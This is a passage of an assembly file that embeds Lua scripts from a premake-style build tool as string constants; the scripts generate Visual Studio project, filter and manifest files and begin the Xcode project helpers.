and #prj.vsimportreferences == 0 then\nreturn\nend\nlocal function compareuuid(a, b) return a.uuid < b.uuid end\ntable.sort(deps, compareuuid)\ntable.sort(table.join(prj.vsimportreferences), compareuuid)\n_p(1,'<ItemGroup>')\nfor _, dep in ipairs(deps) do\nlocal deppath = path.getrelative(prj.location, vstudio.projectfile(dep))\n_p(2,'<ProjectReference Include=\\\"%s\\\">', path.translate(deppath, \"\\\\\"))\n_p(3,'<Project>{%s}</Project>', dep.uuid)\nif vstudio.iswinrt() then\n_p(3,'<ReferenceOutputAssembly>false</ReferenceOutputAssembly>')\nend\n_p(2,'</ProjectReference>')\nend\nfor _, ref in ipairs(prj.vsimportreferences) do\nlocal slnrelpath = path.rebase(ref, prj.location, sln.location)\nlocal iprj = premake.vstudio.getimportprj(slnrelpath, prj.solution)\n_p(2,'<ProjectReference Include=\\\"%s\\\">', ref)\n_p(3,'<Project>{%s}</Project>', iprj.uuid)\n_p(2,'</ProjectReference>')\nend\n_p(1,'</ItemGroup>')\nend\nfunction vc2010.sdkReferences(prj)\nlocal refs = prj.sdkreferences\nif #refs > 0 then\n_p(1,'<ItemGroup>')\nfor _, ref in ipairs(refs) do\n_p(2,'<SDKReference Include=\\\"%s\\\" />', ref)\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.debugdir(cfg)\nlocal isnx = (cfg.platform == \"NX32\" or cfg.platform == \"NX64\")\nlocal debuggerFlavor =\n iif(isnx, 'OasisNXDebugger'\n, iif(cfg.platform == \"Orbis\", 'ORBISDebugger'\n, iif(cfg.platform == \"Durango\", 'XboxOneVCppDebugger'\n, iif(cfg.platform == \"TegraAndroid\", 'AndroidDebugger'\n, iif(vstudio.iswinrt(), 'AppHostLocalDebugger'\n, 'WindowsLocalDebugger'\n)))))\n_p(2, '<DebuggerFlavor>%s</DebuggerFlavor>', debuggerFlavor)\nif cfg.debugdir and not vstudio.iswinrt() then\n_p(2, '<LocalDebuggerWorkingDirectory>%s</LocalDebuggerWorkingDirectory>'\n, path.translate(cfg.debugdir, '\\\\')\n)\nend\nif cfg.debugcmd then\n_p(2, '<LocalDebuggerCommand>%s</LocalDebuggerCommand>', cfg.debugcmd)\nend\nif cfg.debugargs then\n_p(2, '<LocalDebuggerCommandArguments>%s</LocalDebuggerCommandArguments>'\n, table.concat(cfg.debugargs, \" \")\n)\nend\nif cfg.debugenvs and #cfg.debugenvs > 0 then\n_p(2, '<LocalDebuggerEnvironment>%s%s</LocalDebuggerEnvironment>'\n, table.concat(cfg.debugenvs, \"\\n\")\n, iif(cfg.flags.DebugEnvsInherit,'\\n$(LocalDebuggerEnvironment)', '')\n)\nif cfg.flags.DebugEnvsDontMerge then\n_p(2, '<LocalDebuggerMergeEnvironment>false</LocalDebuggerMergeEnvironment>')\nend\nend\nif cfg.deploymode then\n_p(2, '<DeployMode>%s</DeployMode>', cfg.deploymode)\nend\nif cfg.platform == \"TegraAndroid\" then\nif cfg.androiddebugintentparams then\n_p(2, '<IntentParams>%s</IntentParams>'\n, table.concat(cfg.androiddebugintentparams, \" \")\n)\nend\nend\nend\nfunction premake.vs2010_vcxproj_user(prj)\nio.indent = \" \"\nvc2010.header()\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\n_p(' <PropertyGroup '.. if_config_and_platform() ..'>', premake.esc(cfginfo.name))\nvc2010.debugdir(cfg)\n_p(' </PropertyGroup>')\nend\n_p('</Project>')\nend\nlocal png1x1data = {\n0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, -- .PNG........IHDR\n0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x03, 0x00, 0x00, 0x00, 0x25, 0xdb, 0x56, -- .............%.V\n0xca, 0x00, 0x00, 0x00, 0x03, 0x50, 0x4c, 0x54, 0x45, 0x00, 0x00, 0x00, 0xa7, 0x7a, 0x3d, 0xda, -- .....PLTE....z=.\n0x00, 0x00, 0x00, 0x01, 0x74, 0x52, 0x4e, 0x53, 0x00, 0x40, 0xe6, 0xd8, 0x66, 0x00, 0x00, 0x00, -- [email protected]...\n0x0a, 0x49, 0x44, 0x41, 0x54, 0x08, 0xd7, 0x63, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0xe2, -- .IDAT..c`.......\n0x21, 0xbc, 0x33, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82, -- !.3....IEND.B`.\n}\nfunction png1x1(obj, filename)\nfilename = premake.project.getfilename(obj, filename)\nlocal f, err = io.open(filename, \"wb\")\nif f then\nfor _, byte in ipairs(png1x1data) do\nf:write(string.char(byte))\nend\nf:close()\nend\nend\nfunction premake.vs2010_appxmanifest(prj)\nio.indent = \" \"\nio.eol = \"\\r\\n\"\n_p('<?xml version=\"1.0\" encoding=\"utf-8\"?>')\nif vstudio.storeapp == \"10.0\" then\n_p('<Package')\n_p(1, 'xmlns=\"http://schemas.microsoft.com/appx/manifest/foundation/windows10\"')\n_p(1, 'xmlns:mp=\"http://schemas.microsoft.com/appx/2014/phone/manifest\"')\n_p(1, 'xmlns:uap=\"http://schemas.microsoft.com/appx/manifest/uap/windows10\"')\n_p(1, 'IgnorableNamespaces=\"uap mp\">')\nelseif vstudio.storeapp == \"durango\" then\n_p('<Package xmlns=\"http://schemas.microsoft.com/appx/2010/manifest\" xmlns:mx=\"http://schemas.microsoft.com/appx/2013/xbox/manifest\" IgnorableNamespaces=\"mx\">')\nend\n_p(1, '<Identity')\n_p(2, 'Name=\"' .. prj.uuid .. '\"')\n_p(2, 'Publisher=\"CN=Publisher\"')\n_p(2, 'Version=\"1.0.0.0\" />')\nif vstudio.storeapp == \"10.0\" then\n_p(1, '<mp:PhoneIdentity')\n_p(2, 'PhoneProductId=\"' .. prj.uuid .. '\"')\n_p(2, 'PhonePublisherId=\"00000000-0000-0000-0000-000000000000\"/>')\nend\n_p(1, '<Properties>')\n_p(2, '<DisplayName>' .. prj.name .. '</DisplayName>')\n_p(2, '<PublisherDisplayName>PublisherDisplayName</PublisherDisplayName>')\n_p(2, '<Logo>' .. prj.name .. '\\\\StoreLogo.png</Logo>')\npng1x1(prj, \"%%/StoreLogo.png\")\n_p(2, '<Description>' .. prj.name .. '</Description>')\n_p(1,'</Properties>')\nif vstudio.storeapp == \"10.0\" then\n_p(1, '<Dependencies>')\n_p(2, '<TargetDeviceFamily Name=\"Windows.Universal\" MinVersion=\"10.0.10069.0\" MaxVersionTested=\"10.0.10069.0\" />')\n_p(1, '</Dependencies>')\nelseif vstudio.storeapp == \"durango\" then\n_p(1, '<Prerequisites>')\n_p(2, '<OSMinVersion>6.2</OSMinVersion>')\n_p(2, '<OSMaxVersionTested>6.2</OSMaxVersionTested>')\n_p(1, '</Prerequisites>')\nend\n_p(1, '<Resources>')\n_p(2, '<Resource Language=\"en-us\"/>')\n_p(1, '</Resources>')\n_p(1, '<Applications>')\n_p(2, '<Application Id=\"App\"')\n_p(3, 'Executable=\"$targetnametoken$.exe\"')\n_p(3, 'EntryPoint=\"' .. prj.name .. '.App\">')\nif vstudio.storeapp == \"10.0\" then\n_p(3, '<uap:VisualElements')\n_p(4, 'DisplayName=\"' .. prj.name .. '\"')\n_p(4, 'Square150x150Logo=\"' .. prj.name .. '\\\\Logo.png\"')\npng1x1(prj, \"%%/Logo.png\")\nif vstudio.storeapp == \"10.0\" then\n_p(4, 'Square44x44Logo=\"' .. prj.name .. '\\\\SmallLogo.png\"')\npng1x1(prj, \"%%/SmallLogo.png\")\nelse\n_p(4, 'Square30x30Logo=\"' .. prj.name .. '\\\\SmallLogo.png\"')\npng1x1(prj, \"%%/SmallLogo.png\")\nend\n_p(4, 'Description=\"' .. prj.name .. '\"')\n_p(4, 'BackgroundColor=\"transparent\">')\n_p(4, '<uap:SplashScreen Image=\"' .. prj.name .. '\\\\SplashScreen.png\" />')\npng1x1(prj, \"%%/SplashScreen.png\")\n_p(3, '</uap:VisualElements>')\nelseif vstudio.storeapp == \"durango\" then\n_p(3, '<VisualElements')\n_p(4, 'DisplayName=\"' .. prj.name .. '\"')\n_p(4, 'Logo=\"' .. prj.name .. '\\\\Logo.png\"')\npng1x1(prj, \"%%/Logo.png\")\n_p(4, 'SmallLogo=\"' .. prj.name .. '\\\\SmallLogo.png\"')\npng1x1(prj, \"%%/SmallLogo.png\")\n_p(4, 'Description=\"' .. prj.name .. '\"')\n_p(4, 'ForegroundText=\"light\"')\n_p(4, 'BackgroundColor=\"transparent\">')\n_p(5, '<SplashScreen Image=\"' .. prj.name .. '\\\\SplashScreen.png\" />')\npng1x1(prj, \"%%/SplashScreen.png\")\n_p(3, '</VisualElements>')\n_p(3, '<Extensions>')\n_p(4, '<mx:Extension Category=\"xbox.system.resources\">')\n_p(4, '<mx:XboxSystemResources />')\n_p(4, '</mx:Extension>')\n_p(3, '</Extensions>')\nend\n_p(2, '</Application>')\n_p(1, '</Applications>')\n_p('</Package>')\nend\n"
L_.str.42: ## @.str.42
.asciz "local vc2010 = premake.vstudio.vc2010\nlocal project = premake.project\nfunction vc2010.filteridgroup(prj)\nlocal filters = { }\nlocal filterfound = false\nfor file in premake.project.eachfile(prj, true) do\nlocal folders = string.explode(file.vpath, \"/\", true)\nlocal path = \"\"\nfor i = 1, #folders - 1 do\nif not filterfound then\nfilterfound = true\n_p(1,'<ItemGroup>')\nend\npath = path .. folders[i]\nif not filters[path] then\nfilters[path] = true\n_p(2, '<Filter Include=\"%s\">', path)\n_p(3, '<UniqueIdentifier>{%s}</UniqueIdentifier>', os.uuid(path))\n_p(2, '</Filter>')\nend\npath = path .. \"\\\\\"\nend\nend\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal folders = string.explode(path.trimdots(path.getrelative(prj.location,buildtask[1])), \"/\", true)\nlocal path = \"\"\nfor i = 1, #folders - 1 do\nif not filterfound then\nfilterfound = true\n_p(1,'<ItemGroup>')\nend\npath = path .. folders[i]\nif not filters[path] then\nfilters[path] = true\n_p(2, '<Filter Include=\"%s\">', path)\n_p(3, '<UniqueIdentifier>{%s}</UniqueIdentifier>', os.uuid(path))\n_p(2, '</Filter>')\nend\npath = path .. \"\\\\\"\nend\nend\nend\nif filterfound then\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.filefiltergroup(prj, section, kind)\nlocal files = vc2010.getfilegroup(prj, section) or {}\nif kind == nill then\nkind = section\nend\nif (section == \"CustomBuild\") then\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal fcfg = { }\nfcfg.name = path.getrelative(prj.location,buildtask[1])\nfcfg.vpath = path.trimdots(fcfg.name)\ntable.insert(files, fcfg)\nend\nend\nend\nif #files > 0 then\n_p(1,'<ItemGroup>')\nfor _, file in ipairs(files) do\nlocal filter\nif file.name ~= file.vpath then\nfilter = path.getdirectory(file.vpath)\nelse\nfilter = path.getdirectory(file.name)\nend\nif filter ~= \".\" then\n_p(2,'<%s Include=\\\"%s\\\">', kind, path.translate(file.name, \"\\\\\"))\n_p(3,'<Filter>%s</Filter>', path.translate(filter, \"\\\\\"))\n_p(2,'</%s>', kind)\nelse\n_p(2,'<%s Include=\\\"%s\\\" />', kind, path.translate(file.name, \"\\\\\"))\nend\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.generate_filters(prj)\nio.indent = \" \"\nvc2010.header()\nvc2010.filteridgroup(prj)\nvc2010.filefiltergroup(prj, \"None\")\nvc2010.filefiltergroup(prj, \"ClInclude\")\nvc2010.filefiltergroup(prj, \"ClCompile\")\nvc2010.filefiltergroup(prj, \"Object\")\nvc2010.filefiltergroup(prj, \"ResourceCompile\")\nvc2010.filefiltergroup(prj, \"CustomBuild\")\nvc2010.filefiltergroup(prj, \"AppxManifest\")\nvc2010.filefiltergroup(prj, \"Natvis\")\nvc2010.filefiltergroup(prj, \"Image\")\nvc2010.filefiltergroup(prj, \"DeploymentContent\", \"None\")\nvc2010.filefiltergroup(prj, \"MASM\")\n_p('</Project>')\nend\n"
L_.str.43: ## @.str.43
.asciz "local vc2010 = premake.vstudio.vc2010\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2010\",\nshortname = \"Visual Studio 2010\",\ndescription = \"Generate Microsoft Visual Studio 2010 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\"},\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nproductVersion = \"8.0.30703\",\nsolutionVersion = \"11\",\ntargetFramework = \"4.0\",\ntoolsVersion = \"4.0\",\nsupports64bitEditContinue = false,\nintDirAbsolute = false,\n}\n}\n"
L_.str.44: ## @.str.44
.asciz "premake.vstudio.vc2012 = {}\nlocal vc2012 = premake.vstudio.vc2012\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2012\",\nshortname = \"Visual Studio 2012\",\ndescription = \"Generate Microsoft Visual Studio 2012 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\"},\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5\",\ntoolsVersion = \"4.0\",\nsupports64bitEditContinue = false,\nintDirAbsolute = false,\n}\n}\n"
L_.str.45: ## @.str.45
.asciz "premake.vstudio.vc2013 = {}\nlocal vc2013 = premake.vstudio.vc2013\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2013\",\nshortname = \"Visual Studio 2013\",\ndescription = \"Generate Microsoft Visual Studio 2013 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\"},\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5\",\ntoolsVersion = \"12.0\",\nsupports64bitEditContinue = false,\nintDirAbsolute = false,\n}\n}\n"
L_.str.46: ## @.str.46
.asciz "premake.vstudio.vc2015 = {}\nlocal vc2015 = premake.vstudio.vc2015\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2015\",\nshortname = \"Visual Studio 2015\",\ndescription = \"Generate Microsoft Visual Studio 2015 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\" },\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5\",\ntoolsVersion = \"14.0\",\nwindowsTargetPlatformVersion = \"8.1\",\nsupports64bitEditContinue = true,\nintDirAbsolute = false,\n}\n}\n"
L_.str.47: ## @.str.47
.asciz "premake.vstudio.vc2017 = {}\nlocal vc2017 = premake.vstudio.vc2017\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2017\",\nshortname = \"Visual Studio 2017\",\ndescription = \"Generate Microsoft Visual Studio 2017 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\" },\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5.2\",\ntoolsVersion = \"15.0\",\nwindowsTargetPlatformVersion = \"8.1\",\nsupports64bitEditContinue = true,\nintDirAbsolute = false,\n}\n}\n"
L_.str.48: ## @.str.48
.asciz "premake.vstudio.vc2019 = {}\nlocal vc2019 = premake.vstudio.vc2019\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2019\",\nshortname = \"Visual Studio 2019\",\ndescription = \"Generate Microsoft Visual Studio 2019 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\" },\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.7.2\",\ntoolsVersion = \"16.0\",\nwindowsTargetPlatformVersion = \"10.0\",\nsupports64bitEditContinue = true,\nintDirAbsolute = false,\n}\n}\n"
L_.str.49: ## @.str.49
.asciz "premake.xcode = { }\nfunction premake.xcode.checkproject(prj)\nlocal last\nfor cfg in premake.eachconfig(prj) do\nif last and last ~= cfg.kind then\nerror(\"Project '\" .. prj.name .. \"' uses more than one target kind; not supported by Xcode\", 0)\nend\nlast = cfg.kind\nend\nend\npremake.xcode.toolset = \"macosx\"\n"
L_.str.50: ## @.str.50
.asciz "premake.xcode.parameters = { }\nlocal xcode = premake.xcode\nlocal tree = premake.tree\nfunction xcode.getbuildcategory(node)\nlocal categories = {\n[\".a\"] = \"Frameworks\",\n[\".h\"] = \"Headers\",\n[\".hh\"] = \"Headers\",\n[\".hpp\"] = \"Headers\",\n[\".hxx\"] = \"Headers\",\n[\".inl\"] = \"Headers\",\n[\".c\"] = \"Sources\",\n[\".cc\"] = \"Sources\",\n[\".cpp\"] = \"Sources\",\n[\".cxx\"] = \"Sources\",\n[\".c++\"] = \"Sources\",\n[\".dylib\"] = \"Frameworks\",\n[\".bundle\"] = \"Frameworks\",\n[\".framework\"] = \"Frameworks\",\n[\".tbd\"] = \"Frameworks\",\n[\".m\"] = \"Sources\",\n[\".mm\"] = \"Sources\",\n[\".S\"] = \"Sources\",\n[\".strings\"] = \"Resources\",\n[\".nib\"] = \"Resources\",\n[\".xib\"] = \"Resources\",\n[\".icns\"] = \"Resources\",\n[\".bmp\"] = \"Resources\",\n[\".wav\"] = \"Resources\",\n[\".xcassets\"] = \"Resources\",\n[\".xcdatamodeld\"] = \"Sources\",\n[\".swift\"] = \"Sources\",\n}\nreturn categories[path.getextension(node.name)] or\ncategories[string.lower(path.getextension(node.name))]\nend\nfunction xcode.getconfigname(cfg)\nlocal name = cfg.name\nif #cfg.project.solution.xcode.platforms > 1 then\nname = name .. \" \" .. premake.action.current().valid_platforms[cfg.platform]\nend\nreturn name\nend\nfunction xcode.getfiletype(node)\nlocal types = {\n[\".c\"] = \"sourcecode.c.c\",\n[\".cc\"] = \"sourcecode.cpp.cpp\",\n[\".cpp\"] = \"sourcecode.cpp.cpp\",\n[\".css\"] = \"text.css\",\n[\".cxx\"] = \"sourcecode.cpp.cpp\",\n[\".c++\"] = \"sourcecode.cpp.cpp\",\n[\".entitlements\"] = \"text.xml\",\n[\".bundle\"] = \"wrapper.cfbundle\",\n[\".framework\"] = \"wrapper.framework\",\n[\".tbd\"] = \"sourcecode.text-based-dylib-definition\",\n[\".gif\"] = \"image.gif\",\n[\".h\"] = \"sourcecode.c.h\",\n[\".hh\"] = \"sourcecode.cpp.h\",\n[\".hpp\"] = \"sourcecode.cpp.h\",\n[\".hxx\"] = \"sourcecode.cpp.h\",\n[\".inl\"] = \"sourcecode.cpp.h\",\n[\".html\"] = \"text.html\",\n[\".lua\"] = \"sourcecode.lua\",\n[\".m\"] = \"sourcecode.c.objc\",\n[\".mm\"] = \"sourcecode.cpp.objcpp\",\n[\".S\"] = \"sourcecode.asm\",\n[\".nib\"] = \"wrapper.nib\",\n[\".pch\"] = \"sourcecode.c.h\",\n[\".plist\"] = \"text.plist.xml\",\n[\".strings\"] = \"text.plist.strings\",\n[\".xib\"] = \"file.xib\",\n[\".icns\"] = \"image.icns\",\n[\".bmp\"] = \"image.bmp\",\n[\".wav\"] = \"audio.wav\",\n[\".xcassets\"] = \"folder.assetcatalog\",\n[\".xcdatamodeld\"] = \"wrapper.xcdatamodeld\",\n[\".swift\"] = \"sourcecode.swift\",\n}\nreturn types[path.getextension(node.path)] or\n(types[string.lower(path.getextension(node.path))] or \"text\")\nend\nfunction xcode.getfiletypeForced(node)\nlocal types = {\n[\".c\"] = \"sourcecode.cpp.cpp\",\n[\".cc\"] = \"sourcecode.cpp.cpp\",\n[\".cpp\"] = \"sourcecode.cpp.cpp\",\n[\".css\"] = \"text.css\",\n[\".cxx\"] = \"sourcecode.cpp.cpp\",\n[\".c++\"] = \"sourcecode.cpp.cpp\",\n[\".entitlements\"] = \"text.xml\",\n[\".bundle\"] = \"wrapper.cfbundle\",\n[\".framework\"] = \"wrapper.framework\",\n[\".tbd\"] = \"wrapper.framework\",\n[\".gif\"] = \"image.gif\",\n[\".h\"] = \"sourcecode.cpp.h\",\n[\".hh\"] = \"sourcecode.cpp.h\",\n[\".hpp\"] = \"sourcecode.cpp.h\",\n[\".hxx\"] = \"sourcecode.cpp.h\",\n[\".inl\"] = \"sourcecode.cpp.h\",\n[\".html\"] = \"text.html\",\n[\".lua\"] = \"sourcecode.lua\",\n[\".m\"] = \"sourcecode.cpp.objcpp\",\n[\".mm\"] = \"sourcecode.cpp.objcpp\",\n[\".nib\"] = \"wrapper.nib\",\n[\".pch\"] = \"sourcecode.cpp.h\",\n[\".plist\"] = \"text.plist.xml\",\n[\".strings\"] = \"text.plist.strings\",\n[\".xib\"] = \"file.xib\",\n[\".icns\"] = \"image.icns\",\n[\".bmp\"] = \"image.bmp\",\n[\".wav\"] = \"audio.wav\",\n[\".xcassets\"] = \"folder.assetcatalog\",\n[\".xcdatamodeld\"] = \"wrapper.xcdatamodeld\",\n[\".swift\"] = \"sourcecode.swift\",\n}\nreturn types[path.getextension(node.path)] or\n(types[string.lower(path.getextension(node.path))] or \"text\")\nend\nfunction xcode.getproducttype(node)\nlocal types = {\nConsoleApp = \"com.apple.product-type.tool\",\nWindowedApp = node.cfg.options.SkipBundling and \"com.apple.product-type.tool\" or \"com.apple.product-type.application\",\nStaticLib = \"com.apple.product-type.library.static\",\nSharedLib = \"com.apple.product-type.library.dynamic\",\nBundle = node.cfg.options.SkipBundling and \"com.apple.product-type.tool\" or \"com.apple.product-type.bundle\",\n}\nreturn types[node.cfg.kind]\nend\nfunction xcode.gettargettype(node)\nlocal types = {\nConsoleApp = \"\\\"compiled.mach-o.executable\\\"\",\nWindowedApp = node.cfg.options.SkipBundling and \"\\\"compiled.mach-o.executable\\\"\" or \"wrapper.application\",\nStaticLib = \"archive.ar\",\nSharedLib = \"\\\"compiled.mach-o.dylib\\\"\",\nBundle = node.cfg.options.SkipBundling and \"\\\"compiled.mach-o.bundle\\\"\" or \"wrapper.cfbundle\",\n}\nreturn types[node.cfg.kind]\nend\nfunction xcode.getxcodeprojname(prj)\nlocal fname = premake.project.getfilename(prj, \"%%.xcodeproj\")\nreturn fname\nend\nfunction xcode.isframework(fname)\nreturn (path.getextension(fname) == \".framework\" or path.getextension(fname) == \".tbd\")\nend\nfunction xcode.uuid(param)\nreturn os.uuid(param):upper():gsub('-',''):sub(0,24)\nend\nfunction xcode.newid(node, usage)\nlocal base = ''\nlocal prj = node.project\nif prj == nil then\nlocal parent = node.parent\nwhile parent ~= nil do\nif parent.project ~= nil then\nprj = parent.project\nbreak\nend\nparent = parent.parent\nend\nend\nif prj ~= nil then\nprj.uuidcounter = (prj.uuidcounter or 0) + 1\nbase = base .. prj.name .. \"$\" .. prj.uuidcounter .. \"$\"\nend\nbase = base .. \"$\" .. (node.path or node.name or \"\")\nbase = base .. \"$\" .. (usage or \"\")\nreturn xcode.uuid(base)\nend\nfunction xcode.getscriptphaselabel(cmd, count, cfg)\nreturn string.format(\"\\\"Script Phase %s [%s] (%s)\\\"\", count, cmd:match(\"(%w+)(.+)\"), iif(cfg, xcode.getconfigname(cfg), \"all\"))\nend\nfunction xcode.getcopyphaselabel(type, count, target)\nreturn string.format(\"\\\"Copy %s %s [%s]\\\"\", type, count, target)\nend\nfunction xcode.preparesolution(sln)\nsln.xcode = { }\nsln.xcode.platforms = premake.filterplatforms(sln, premake.action.current().valid_platforms, \"Universal\")\nfor prj in premake.solution.eachproject(sln) do\nlocal cfg = premake.getconfig(prj, prj.configurations[1], sln.xcode.platforms[1])\nlocal node = premake.tree.new(path.getname(cfg.buildtarget.bundlepath))\nnode.cfg = cfg\nnode.id = premake.xcode.newid(node, \"product\")\nnode.targetid = premake.xcode.newid(node, \"target\")\nprj.xcode = {}\nprj.xcode.projectnode = node\nend\nend\nfunction xcode.printlist(list, tag, 